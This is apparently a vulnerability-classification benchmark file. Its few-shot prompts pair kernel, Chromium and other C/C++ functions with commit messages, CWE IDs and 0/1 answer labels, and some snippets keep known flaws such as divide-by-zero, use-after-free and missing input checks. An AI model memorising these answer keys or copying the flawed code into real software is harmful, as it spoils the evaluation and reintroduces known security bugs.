prompt
stringlengths 1.19k
236k
| output
int64 0
1
|
---|---|
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void change_port_settings(struct tty_struct *tty,
struct edgeport_port *edge_port, struct ktermios *old_termios)
{
struct device *dev = &edge_port->port->dev;
struct ump_uart_config *config;
int baud;
unsigned cflag;
int status;
int port_number = edge_port->port->port_number;
config = kmalloc (sizeof (*config), GFP_KERNEL);
if (!config) {
tty->termios = *old_termios;
return;
}
cflag = tty->termios.c_cflag;
config->wFlags = 0;
/* These flags must be set */
config->wFlags |= UMP_MASK_UART_FLAGS_RECEIVE_MS_INT;
config->wFlags |= UMP_MASK_UART_FLAGS_AUTO_START_ON_ERR;
config->bUartMode = (__u8)(edge_port->bUartMode);
switch (cflag & CSIZE) {
case CS5:
config->bDataBits = UMP_UART_CHAR5BITS;
dev_dbg(dev, "%s - data bits = 5\n", __func__);
break;
case CS6:
config->bDataBits = UMP_UART_CHAR6BITS;
dev_dbg(dev, "%s - data bits = 6\n", __func__);
break;
case CS7:
config->bDataBits = UMP_UART_CHAR7BITS;
dev_dbg(dev, "%s - data bits = 7\n", __func__);
break;
default:
case CS8:
config->bDataBits = UMP_UART_CHAR8BITS;
dev_dbg(dev, "%s - data bits = 8\n", __func__);
break;
}
if (cflag & PARENB) {
if (cflag & PARODD) {
config->wFlags |= UMP_MASK_UART_FLAGS_PARITY;
config->bParity = UMP_UART_ODDPARITY;
dev_dbg(dev, "%s - parity = odd\n", __func__);
} else {
config->wFlags |= UMP_MASK_UART_FLAGS_PARITY;
config->bParity = UMP_UART_EVENPARITY;
dev_dbg(dev, "%s - parity = even\n", __func__);
}
} else {
config->bParity = UMP_UART_NOPARITY;
dev_dbg(dev, "%s - parity = none\n", __func__);
}
if (cflag & CSTOPB) {
config->bStopBits = UMP_UART_STOPBIT2;
dev_dbg(dev, "%s - stop bits = 2\n", __func__);
} else {
config->bStopBits = UMP_UART_STOPBIT1;
dev_dbg(dev, "%s - stop bits = 1\n", __func__);
}
/* figure out the flow control settings */
if (cflag & CRTSCTS) {
config->wFlags |= UMP_MASK_UART_FLAGS_OUT_X_CTS_FLOW;
config->wFlags |= UMP_MASK_UART_FLAGS_RTS_FLOW;
dev_dbg(dev, "%s - RTS/CTS is enabled\n", __func__);
} else {
dev_dbg(dev, "%s - RTS/CTS is disabled\n", __func__);
restart_read(edge_port);
}
/*
* if we are implementing XON/XOFF, set the start and stop
* character in the device
*/
config->cXon = START_CHAR(tty);
config->cXoff = STOP_CHAR(tty);
/* if we are implementing INBOUND XON/XOFF */
if (I_IXOFF(tty)) {
config->wFlags |= UMP_MASK_UART_FLAGS_IN_X;
dev_dbg(dev, "%s - INBOUND XON/XOFF is enabled, XON = %2x, XOFF = %2x\n",
__func__, config->cXon, config->cXoff);
} else
dev_dbg(dev, "%s - INBOUND XON/XOFF is disabled\n", __func__);
/* if we are implementing OUTBOUND XON/XOFF */
if (I_IXON(tty)) {
config->wFlags |= UMP_MASK_UART_FLAGS_OUT_X;
dev_dbg(dev, "%s - OUTBOUND XON/XOFF is enabled, XON = %2x, XOFF = %2x\n",
__func__, config->cXon, config->cXoff);
} else
dev_dbg(dev, "%s - OUTBOUND XON/XOFF is disabled\n", __func__);
tty->termios.c_cflag &= ~CMSPAR;
/* Round the baud rate */
baud = tty_get_baud_rate(tty);
if (!baud) {
/* pick a default, any default... */
baud = 9600;
} else
tty_encode_baud_rate(tty, baud, baud);
edge_port->baud_rate = baud;
config->wBaudRate = (__u16)((461550L + baud/2) / baud);
/* FIXME: Recompute actual baud from divisor here */
dev_dbg(dev, "%s - baud rate = %d, wBaudRate = %d\n", __func__, baud, config->wBaudRate);
dev_dbg(dev, "wBaudRate: %d\n", (int)(461550L / config->wBaudRate));
dev_dbg(dev, "wFlags: 0x%x\n", config->wFlags);
dev_dbg(dev, "bDataBits: %d\n", config->bDataBits);
dev_dbg(dev, "bParity: %d\n", config->bParity);
dev_dbg(dev, "bStopBits: %d\n", config->bStopBits);
dev_dbg(dev, "cXon: %d\n", config->cXon);
dev_dbg(dev, "cXoff: %d\n", config->cXoff);
dev_dbg(dev, "bUartMode: %d\n", config->bUartMode);
/* move the word values into big endian mode */
cpu_to_be16s(&config->wFlags);
cpu_to_be16s(&config->wBaudRate);
status = send_cmd(edge_port->port->serial->dev, UMPC_SET_CONFIG,
(__u8)(UMPM_UART1_PORT + port_number),
0, (__u8 *)config, sizeof(*config));
if (status)
dev_dbg(dev, "%s - error %d when trying to write config to device\n",
__func__, status);
kfree(config);
}
Commit Message: USB: serial: io_ti: fix div-by-zero in set_termios
Fix a division-by-zero in set_termios when debugging is enabled and a
high-enough speed has been requested so that the divisor value becomes
zero.
Instead of just fixing the offending debug statement, cap the baud rate
at the base as a zero divisor value also appears to crash the firmware.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <[email protected]> # 2.6.12
Reviewed-by: Greg Kroah-Hartman <[email protected]>
Signed-off-by: Johan Hovold <[email protected]>
CWE ID: CWE-369
Target: 1
Example 2:
Code: static int convert_ctx_accesses(struct bpf_verifier_env *env)
{
const struct bpf_verifier_ops *ops = env->prog->aux->ops;
const int insn_cnt = env->prog->len;
struct bpf_insn insn_buf[16], *insn;
struct bpf_prog *new_prog;
enum bpf_access_type type;
int i, cnt, delta = 0;
if (ops->gen_prologue) {
cnt = ops->gen_prologue(insn_buf, env->seen_direct_write,
env->prog);
if (cnt >= ARRAY_SIZE(insn_buf)) {
verbose("bpf verifier is misconfigured\n");
return -EINVAL;
} else if (cnt) {
new_prog = bpf_patch_insn_data(env, 0, insn_buf, cnt);
if (!new_prog)
return -ENOMEM;
env->prog = new_prog;
delta += cnt - 1;
}
}
if (!ops->convert_ctx_access)
return 0;
insn = env->prog->insnsi + delta;
for (i = 0; i < insn_cnt; i++, insn++) {
if (insn->code == (BPF_LDX | BPF_MEM | BPF_B) ||
insn->code == (BPF_LDX | BPF_MEM | BPF_H) ||
insn->code == (BPF_LDX | BPF_MEM | BPF_W) ||
insn->code == (BPF_LDX | BPF_MEM | BPF_DW))
type = BPF_READ;
else if (insn->code == (BPF_STX | BPF_MEM | BPF_B) ||
insn->code == (BPF_STX | BPF_MEM | BPF_H) ||
insn->code == (BPF_STX | BPF_MEM | BPF_W) ||
insn->code == (BPF_STX | BPF_MEM | BPF_DW))
type = BPF_WRITE;
else
continue;
if (env->insn_aux_data[i + delta].ptr_type != PTR_TO_CTX)
continue;
cnt = ops->convert_ctx_access(type, insn, insn_buf, env->prog);
if (cnt == 0 || cnt >= ARRAY_SIZE(insn_buf)) {
verbose("bpf verifier is misconfigured\n");
return -EINVAL;
}
new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt);
if (!new_prog)
return -ENOMEM;
delta += cnt - 1;
/* keep walking new program and skip insns we just inserted */
env->prog = new_prog;
insn = new_prog->insnsi + i + delta;
}
return 0;
}
Commit Message: bpf: don't let ldimm64 leak map addresses on unprivileged
The patch fixes two things at once:
1) It checks the env->allow_ptr_leaks and only prints the map address to
the log if we have the privileges to do so, otherwise it just dumps 0
as we would when kptr_restrict is enabled on %pK. Given the latter is
off by default and not every distro sets it, I don't want to rely on
this, hence the 0 by default for unprivileged.
2) Printing of ldimm64 in the verifier log is currently broken in that
we don't print the full immediate, but only the 32 bit part of the
first insn part for ldimm64. Thus, fix this up as well; it's okay to
access, since we verified all ldimm64 earlier already (including just
constants) through replace_map_fd_with_map_ptr().
Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs")
Fixes: cbd357008604 ("bpf: verifier (add ability to receive verification log)")
Reported-by: Jann Horn <[email protected]>
Signed-off-by: Daniel Borkmann <[email protected]>
Acked-by: Alexei Starovoitov <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void BrowserEventRouter::TabUpdated(WebContents* contents, bool did_navigate) {
TabEntry* entry = GetTabEntry(contents);
DictionaryValue* changed_properties = NULL;
DCHECK(entry);
if (did_navigate)
changed_properties = entry->DidNavigate(contents);
else
changed_properties = entry->UpdateLoadState(contents);
if (changed_properties)
DispatchTabUpdatedEvent(contents, changed_properties);
}
Commit Message: Do not pass URLs in onUpdated events to extensions unless they have the
"tabs" permission.
BUG=168442
Review URL: https://chromiumcodereview.appspot.com/11824004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176406 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: GDataFileError GDataFileSystem::AddNewDirectory(
const FilePath& directory_path, base::Value* entry_value) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
if (!entry_value)
return GDATA_FILE_ERROR_FAILED;
scoped_ptr<DocumentEntry> doc_entry(DocumentEntry::CreateFrom(*entry_value));
if (!doc_entry.get())
return GDATA_FILE_ERROR_FAILED;
GDataEntry* entry = directory_service_->FindEntryByPathSync(directory_path);
if (!entry)
return GDATA_FILE_ERROR_FAILED;
GDataDirectory* parent_dir = entry->AsGDataDirectory();
if (!parent_dir)
return GDATA_FILE_ERROR_FAILED;
GDataEntry* new_entry = GDataEntry::FromDocumentEntry(
NULL, doc_entry.get(), directory_service_.get());
if (!new_entry)
return GDATA_FILE_ERROR_FAILED;
parent_dir->AddEntry(new_entry);
OnDirectoryChanged(directory_path);
return GDATA_FILE_OK;
}
Commit Message: Remove parent* arg from GDataEntry ctor.
* Remove static FromDocumentEntry from GDataEntry, GDataFile, GDataDirectory. Replace with InitFromDocumentEntry.
* Move common code from GDataFile::InitFromDocumentEntry and GDataDirectory::InitFromDocumentEntry to GDataEntry::InitFromDocumentEntry.
* Add GDataDirectoryService::FromDocumentEntry and use this everywhere.
* Make ctors of GDataFile, GDataDirectory private, so these must be created by GDataDirectoryService's CreateGDataFile and
CreateGDataDirectory. Make GDataEntry ctor protected.
BUG=141494
TEST=unit tests.
Review URL: https://chromiumcodereview.appspot.com/10854083
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@151008 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 1
Example 2:
Code: BGD_DECLARE(gdImagePtr) gdImageRotateInterpolated(const gdImagePtr src, const float angle, int bgcolor)
{
/* round to two decimals and keep the 100x multiplication to use it in the common square angles
case later. Keep the two decimal precisions so smaller rotation steps can be done, useful for
slow animations, f.e. */
const int angle_rounded = fmod((int) floorf(angle * 100), 360 * 100);
if (bgcolor < 0) {
return NULL;
}
/* 0 && 90 degrees multiple rotation, 0 rotation simply clones the return image and convert it
to truecolor, as we must return truecolor image. */
switch (angle_rounded) {
case 0: {
gdImagePtr dst = gdImageClone(src);
if (dst == NULL) {
return NULL;
}
if (dst->trueColor == 0) {
gdImagePaletteToTrueColor(dst);
}
return dst;
}
case -27000:
case 9000:
return gdImageRotate90(src, 0);
case -18000:
case 18000:
return gdImageRotate180(src, 0);
case -9000:
case 27000:
return gdImageRotate270(src, 0);
}
if (src == NULL || src->interpolation_id < 1 || src->interpolation_id > GD_METHOD_COUNT) {
return NULL;
}
switch (src->interpolation_id) {
case GD_NEAREST_NEIGHBOUR:
return gdImageRotateNearestNeighbour(src, angle, bgcolor);
break;
case GD_BILINEAR_FIXED:
return gdImageRotateBilinear(src, angle, bgcolor);
break;
case GD_BICUBIC_FIXED:
return gdImageRotateBicubicFixed(src, angle, bgcolor);
break;
default:
return gdImageRotateGeneric(src, angle, bgcolor);
}
return NULL;
}
Commit Message: gdImageScaleTwoPass memory leak fix
Fixing memory leak in gdImageScaleTwoPass, as reported by @cmb69 and
confirmed by @vapier. This bug actually bit me in production and I'm
very thankful that it was reported with an easy fix.
Fixes #173.
CWE ID: CWE-399
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: R_API void r_anal_bb_free(RAnalBlock *bb) {
if (!bb) {
return;
}
r_anal_cond_free (bb->cond);
R_FREE (bb->fingerprint);
r_anal_diff_free (bb->diff);
bb->diff = NULL;
R_FREE (bb->op_bytes);
r_anal_switch_op_free (bb->switch_op);
bb->switch_op = NULL;
bb->fingerprint = NULL;
bb->cond = NULL;
R_FREE (bb->label);
R_FREE (bb->op_pos);
R_FREE (bb->parent_reg_arena);
if (bb->prev) {
if (bb->prev->jumpbb == bb) {
bb->prev->jumpbb = NULL;
}
if (bb->prev->failbb == bb) {
bb->prev->failbb = NULL;
}
bb->prev = NULL;
}
if (bb->jumpbb) {
bb->jumpbb->prev = NULL;
bb->jumpbb = NULL;
}
if (bb->failbb) {
bb->failbb->prev = NULL;
bb->failbb = NULL;
}
R_FREE (bb);
}
Commit Message: Fix #10293 - Use-after-free in r_anal_bb_free()
CWE ID: CWE-416
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: xsltNumberFormatGetMultipleLevel(xsltTransformContextPtr context,
xmlNodePtr node,
xsltCompMatchPtr countPat,
xsltCompMatchPtr fromPat,
double *array,
int max,
xmlDocPtr doc,
xmlNodePtr elem)
{
int amount = 0;
int cnt;
xmlNodePtr ancestor;
xmlNodePtr preceding;
xmlXPathParserContextPtr parser;
context->xpathCtxt->node = node;
parser = xmlXPathNewParserContext(NULL, context->xpathCtxt);
if (parser) {
/* ancestor-or-self::*[count] */
for (ancestor = node;
(ancestor != NULL) && (ancestor->type != XML_DOCUMENT_NODE);
ancestor = xmlXPathNextAncestor(parser, ancestor)) {
if ((fromPat != NULL) &&
xsltTestCompMatchList(context, ancestor, fromPat))
break; /* for */
if ((countPat == NULL && node->type == ancestor->type &&
xmlStrEqual(node->name, ancestor->name)) ||
xsltTestCompMatchList(context, ancestor, countPat)) {
/* count(preceding-sibling::*) */
cnt = 0;
for (preceding = ancestor;
preceding != NULL;
preceding =
xmlXPathNextPrecedingSibling(parser, preceding)) {
if (countPat == NULL) {
if ((preceding->type == ancestor->type) &&
xmlStrEqual(preceding->name, ancestor->name)){
if ((preceding->ns == ancestor->ns) ||
((preceding->ns != NULL) &&
(ancestor->ns != NULL) &&
(xmlStrEqual(preceding->ns->href,
ancestor->ns->href) )))
cnt++;
}
} else {
if (xsltTestCompMatchList(context, preceding,
countPat))
cnt++;
}
}
array[amount++] = (double)cnt;
if (amount >= max)
break; /* for */
}
}
xmlXPathFreeParserContext(parser);
}
return amount;
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119
Target: 1
Example 2:
Code: __acquires(rose_neigh_list_lock)
{
struct rose_neigh *rose_neigh;
int i = 1;
spin_lock_bh(&rose_neigh_list_lock);
if (*pos == 0)
return SEQ_START_TOKEN;
for (rose_neigh = rose_neigh_list; rose_neigh && i < *pos;
rose_neigh = rose_neigh->next, ++i);
return (i == *pos) ? rose_neigh : NULL;
}
Commit Message: rose: Add length checks to CALL_REQUEST parsing
Define some constant offsets for CALL_REQUEST based on the description
at <http://www.techfest.com/networking/wan/x25plp.htm> and the
definition of ROSE as using 10-digit (5-byte) addresses. Use them
consistently. Validate all implicit and explicit facilities lengths.
Validate the address length byte rather than either trusting or
assuming its value.
Signed-off-by: Ben Hutchings <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void __kprobes unhandled_fault(unsigned long address,
struct task_struct *tsk,
struct pt_regs *regs)
{
if ((unsigned long) address < PAGE_SIZE) {
printk(KERN_ALERT "Unable to handle kernel NULL "
"pointer dereference\n");
} else {
printk(KERN_ALERT "Unable to handle kernel paging request "
"at virtual address %016lx\n", (unsigned long)address);
}
printk(KERN_ALERT "tsk->{mm,active_mm}->context = %016lx\n",
(tsk->mm ?
CTX_HWBITS(tsk->mm->context) :
CTX_HWBITS(tsk->active_mm->context)));
printk(KERN_ALERT "tsk->{mm,active_mm}->pgd = %016lx\n",
(tsk->mm ? (unsigned long) tsk->mm->pgd :
(unsigned long) tsk->active_mm->pgd));
die_if_kernel("Oops", regs);
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: Michael Cree <[email protected]>
Cc: Will Deacon <[email protected]>
Cc: Deng-Cheng Zhu <[email protected]>
Cc: Anton Blanchard <[email protected]>
Cc: Eric B Munson <[email protected]>
Cc: Heiko Carstens <[email protected]>
Cc: Paul Mundt <[email protected]>
Cc: David S. Miller <[email protected]>
Cc: Frederic Weisbecker <[email protected]>
Cc: Jason Wessel <[email protected]>
Cc: Don Zickus <[email protected]>
Link: http://lkml.kernel.org/n/[email protected]
Signed-off-by: Ingo Molnar <[email protected]>
CWE ID: CWE-399
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: P2PQuicStreamTest()
: connection_(
new quic::test::MockQuicConnection(&connection_helper_,
&alarm_factory_,
quic::Perspective::IS_CLIENT)),
session_(connection_) {
session_.Initialize();
stream_ = new P2PQuicStreamImpl(kStreamId, &session_);
stream_->SetDelegate(&delegate_);
session_.ActivateStream(std::unique_ptr<P2PQuicStreamImpl>(stream_));
connection_helper_.AdvanceTime(quic::QuicTime::Delta::FromSeconds(1));
}
Commit Message: P2PQuicStream write functionality.
This adds the P2PQuicStream::WriteData function and adds tests. It also
adds the concept of a write buffered amount, enforcing this at the
P2PQuicStreamImpl.
Bug: 874296
Change-Id: Id02c8aa8d5368a87bb24a2e50dab5ef94bcae131
Reviewed-on: https://chromium-review.googlesource.com/c/1315534
Commit-Queue: Seth Hampson <[email protected]>
Reviewed-by: Henrik Boström <[email protected]>
Cr-Commit-Position: refs/heads/master@{#605766}
CWE ID: CWE-284
Target: 1
Example 2:
Code: bool ImageDataNaClBackend::IsMapped() const {
return map_count_ > 0;
}
Commit Message: Security fix: integer overflow on checking image size
Test is left in another CL (codereview.chromiu,.org/11274036) to avoid conflict there. Hope it's fine.
BUG=160926
Review URL: https://chromiumcodereview.appspot.com/11410081
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167882 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-190
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static bool needInterchangeNewlineAfter(const VisiblePosition& v)
{
VisiblePosition next = v.next();
Node* upstreamNode = next.deepEquivalent().upstream().deprecatedNode();
Node* downstreamNode = v.deepEquivalent().downstream().deprecatedNode();
return isEndOfParagraph(v) && isStartOfParagraph(next) && !(upstreamNode->hasTagName(brTag) && upstreamNode == downstreamNode);
}
Commit Message: There are too many poorly named functions to create a fragment from markup
https://bugs.webkit.org/show_bug.cgi?id=87339
Reviewed by Eric Seidel.
Source/WebCore:
Moved all functions that create a fragment from markup to markup.h/cpp.
There should be no behavioral change.
* dom/Range.cpp:
(WebCore::Range::createContextualFragment):
* dom/Range.h: Removed createDocumentFragmentForElement.
* dom/ShadowRoot.cpp:
(WebCore::ShadowRoot::setInnerHTML):
* editing/markup.cpp:
(WebCore::createFragmentFromMarkup):
(WebCore::createFragmentForInnerOuterHTML): Renamed from createFragmentFromSource.
(WebCore::createFragmentForTransformToFragment): Moved from XSLTProcessor.
(WebCore::removeElementPreservingChildren): Moved from Range.
(WebCore::createContextualFragment): Ditto.
* editing/markup.h:
* html/HTMLElement.cpp:
(WebCore::HTMLElement::setInnerHTML):
(WebCore::HTMLElement::setOuterHTML):
(WebCore::HTMLElement::insertAdjacentHTML):
* inspector/DOMPatchSupport.cpp:
(WebCore::DOMPatchSupport::patchNode): Added a FIXME since this code should be using
one of the functions listed in markup.h
* xml/XSLTProcessor.cpp:
(WebCore::XSLTProcessor::transformToFragment):
Source/WebKit/qt:
Replace calls to Range::createDocumentFragmentForElement by calls to
createContextualDocumentFragment.
* Api/qwebelement.cpp:
(QWebElement::appendInside):
(QWebElement::prependInside):
(QWebElement::prependOutside):
(QWebElement::appendOutside):
(QWebElement::encloseContentsWith):
(QWebElement::encloseWith):
git-svn-id: svn://svn.chromium.org/blink/trunk@118414 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-264
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int check_ptr_alignment(struct bpf_verifier_env *env,
const struct bpf_reg_state *reg,
int off, int size)
{
bool strict = env->strict_alignment;
const char *pointer_desc = "";
switch (reg->type) {
case PTR_TO_PACKET:
case PTR_TO_PACKET_META:
/* Special case, because of NET_IP_ALIGN. Given metadata sits
* right in front, treat it the very same way.
*/
return check_pkt_ptr_alignment(env, reg, off, size, strict);
case PTR_TO_MAP_VALUE:
pointer_desc = "value ";
break;
case PTR_TO_CTX:
pointer_desc = "context ";
break;
case PTR_TO_STACK:
pointer_desc = "stack ";
break;
default:
break;
}
return check_generic_ptr_alignment(env, reg, pointer_desc, off, size,
strict);
}
Commit Message: bpf: force strict alignment checks for stack pointers
Force strict alignment checks for stack pointers because the tracking of
stack spills relies on it; unaligned stack accesses can lead to corruption
of spilled registers, which is exploitable.
Fixes: f1174f77b50c ("bpf/verifier: rework value tracking")
Signed-off-by: Jann Horn <[email protected]>
Signed-off-by: Alexei Starovoitov <[email protected]>
Signed-off-by: Daniel Borkmann <[email protected]>
CWE ID: CWE-119
Target: 1
Example 2:
Code: bool InspectorPageAgent::ScreencastEnabled() {
return enabled_ &&
state_->booleanProperty(PageAgentState::kScreencastEnabled, false);
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Commit-Queue: Andrey Lushnikov <[email protected]>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: IW_IMPL(char*) iw_get_version_string(struct iw_context *ctx, char *s, int s_len)
{
int ver;
ver = iw_get_version_int();
iw_snprintf(s,s_len,"%d.%d.%d",
(ver&0xff0000)>>16, (ver&0xff00)>>8, (ver&0xff) );
return s;
}
Commit Message: Double-check that the input image's density is valid
Fixes a bug that could result in division by zero, at least for a JPEG
source image.
Fixes issues #19, #20
CWE ID: CWE-369
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int gtco_probe(struct usb_interface *usbinterface,
const struct usb_device_id *id)
{
struct gtco *gtco;
struct input_dev *input_dev;
struct hid_descriptor *hid_desc;
char *report;
int result = 0, retry;
int error;
struct usb_endpoint_descriptor *endpoint;
/* Allocate memory for device structure */
gtco = kzalloc(sizeof(struct gtco), GFP_KERNEL);
input_dev = input_allocate_device();
if (!gtco || !input_dev) {
dev_err(&usbinterface->dev, "No more memory\n");
error = -ENOMEM;
goto err_free_devs;
}
/* Set pointer to the input device */
gtco->inputdevice = input_dev;
/* Save interface information */
gtco->usbdev = interface_to_usbdev(usbinterface);
gtco->intf = usbinterface;
/* Allocate some data for incoming reports */
gtco->buffer = usb_alloc_coherent(gtco->usbdev, REPORT_MAX_SIZE,
GFP_KERNEL, >co->buf_dma);
if (!gtco->buffer) {
dev_err(&usbinterface->dev, "No more memory for us buffers\n");
error = -ENOMEM;
goto err_free_devs;
}
/* Allocate URB for reports */
gtco->urbinfo = usb_alloc_urb(0, GFP_KERNEL);
if (!gtco->urbinfo) {
dev_err(&usbinterface->dev, "Failed to allocate URB\n");
error = -ENOMEM;
goto err_free_buf;
}
/*
* The endpoint is always altsetting 0, we know this since we know
* this device only has one interrupt endpoint
*/
endpoint = &usbinterface->altsetting[0].endpoint[0].desc;
/* Some debug */
dev_dbg(&usbinterface->dev, "gtco # interfaces: %d\n", usbinterface->num_altsetting);
dev_dbg(&usbinterface->dev, "num endpoints: %d\n", usbinterface->cur_altsetting->desc.bNumEndpoints);
dev_dbg(&usbinterface->dev, "interface class: %d\n", usbinterface->cur_altsetting->desc.bInterfaceClass);
dev_dbg(&usbinterface->dev, "endpoint: attribute:0x%x type:0x%x\n", endpoint->bmAttributes, endpoint->bDescriptorType);
if (usb_endpoint_xfer_int(endpoint))
dev_dbg(&usbinterface->dev, "endpoint: we have interrupt endpoint\n");
dev_dbg(&usbinterface->dev, "endpoint extra len:%d\n", usbinterface->altsetting[0].extralen);
/*
* Find the HID descriptor so we can find out the size of the
* HID report descriptor
*/
if (usb_get_extra_descriptor(usbinterface->cur_altsetting,
HID_DEVICE_TYPE, &hid_desc) != 0){
dev_err(&usbinterface->dev,
"Can't retrieve exta USB descriptor to get hid report descriptor length\n");
error = -EIO;
goto err_free_urb;
}
dev_dbg(&usbinterface->dev,
"Extra descriptor success: type:%d len:%d\n",
hid_desc->bDescriptorType, hid_desc->wDescriptorLength);
report = kzalloc(le16_to_cpu(hid_desc->wDescriptorLength), GFP_KERNEL);
if (!report) {
dev_err(&usbinterface->dev, "No more memory for report\n");
error = -ENOMEM;
goto err_free_urb;
}
/* Couple of tries to get reply */
for (retry = 0; retry < 3; retry++) {
result = usb_control_msg(gtco->usbdev,
usb_rcvctrlpipe(gtco->usbdev, 0),
USB_REQ_GET_DESCRIPTOR,
USB_RECIP_INTERFACE | USB_DIR_IN,
REPORT_DEVICE_TYPE << 8,
0, /* interface */
report,
le16_to_cpu(hid_desc->wDescriptorLength),
5000); /* 5 secs */
dev_dbg(&usbinterface->dev, "usb_control_msg result: %d\n", result);
if (result == le16_to_cpu(hid_desc->wDescriptorLength)) {
parse_hid_report_descriptor(gtco, report, result);
break;
}
}
kfree(report);
/* If we didn't get the report, fail */
if (result != le16_to_cpu(hid_desc->wDescriptorLength)) {
dev_err(&usbinterface->dev,
"Failed to get HID Report Descriptor of size: %d\n",
hid_desc->wDescriptorLength);
error = -EIO;
goto err_free_urb;
}
/* Create a device file node */
usb_make_path(gtco->usbdev, gtco->usbpath, sizeof(gtco->usbpath));
strlcat(gtco->usbpath, "/input0", sizeof(gtco->usbpath));
/* Set Input device functions */
input_dev->open = gtco_input_open;
input_dev->close = gtco_input_close;
/* Set input device information */
input_dev->name = "GTCO_CalComp";
input_dev->phys = gtco->usbpath;
input_set_drvdata(input_dev, gtco);
/* Now set up all the input device capabilities */
gtco_setup_caps(input_dev);
/* Set input device required ID information */
usb_to_input_id(gtco->usbdev, &input_dev->id);
input_dev->dev.parent = &usbinterface->dev;
/* Setup the URB, it will be posted later on open of input device */
endpoint = &usbinterface->altsetting[0].endpoint[0].desc;
usb_fill_int_urb(gtco->urbinfo,
gtco->usbdev,
usb_rcvintpipe(gtco->usbdev,
endpoint->bEndpointAddress),
gtco->buffer,
REPORT_MAX_SIZE,
gtco_urb_callback,
gtco,
endpoint->bInterval);
gtco->urbinfo->transfer_dma = gtco->buf_dma;
gtco->urbinfo->transfer_flags |= URB_NO_TRANSFER_DMA_MAP;
/* Save gtco pointer in USB interface gtco */
usb_set_intfdata(usbinterface, gtco);
/* All done, now register the input device */
error = input_register_device(input_dev);
if (error)
goto err_free_urb;
return 0;
err_free_urb:
usb_free_urb(gtco->urbinfo);
err_free_buf:
usb_free_coherent(gtco->usbdev, REPORT_MAX_SIZE,
gtco->buffer, gtco->buf_dma);
err_free_devs:
input_free_device(input_dev);
kfree(gtco);
return error;
}
Commit Message: Input: gtco - fix crash on detecting device without endpoints
The gtco driver expects at least one valid endpoint. If given malicious
descriptors that specify 0 for the number of endpoints, it will crash in
the probe function. Ensure there is at least one endpoint on the interface
before using it.
Also let's fix a minor coding style issue.
The full correct report of this issue can be found in the public
Red Hat Bugzilla:
https://bugzilla.redhat.com/show_bug.cgi?id=1283385
Reported-by: Ralf Spenneberg <[email protected]>
Signed-off-by: Vladis Dronov <[email protected]>
Cc: [email protected]
Signed-off-by: Dmitry Torokhov <[email protected]>
CWE ID:
Target: 1
Example 2:
Code: const std::string& SendTabToSelfEntry::GetTitle() const {
return title_;
}
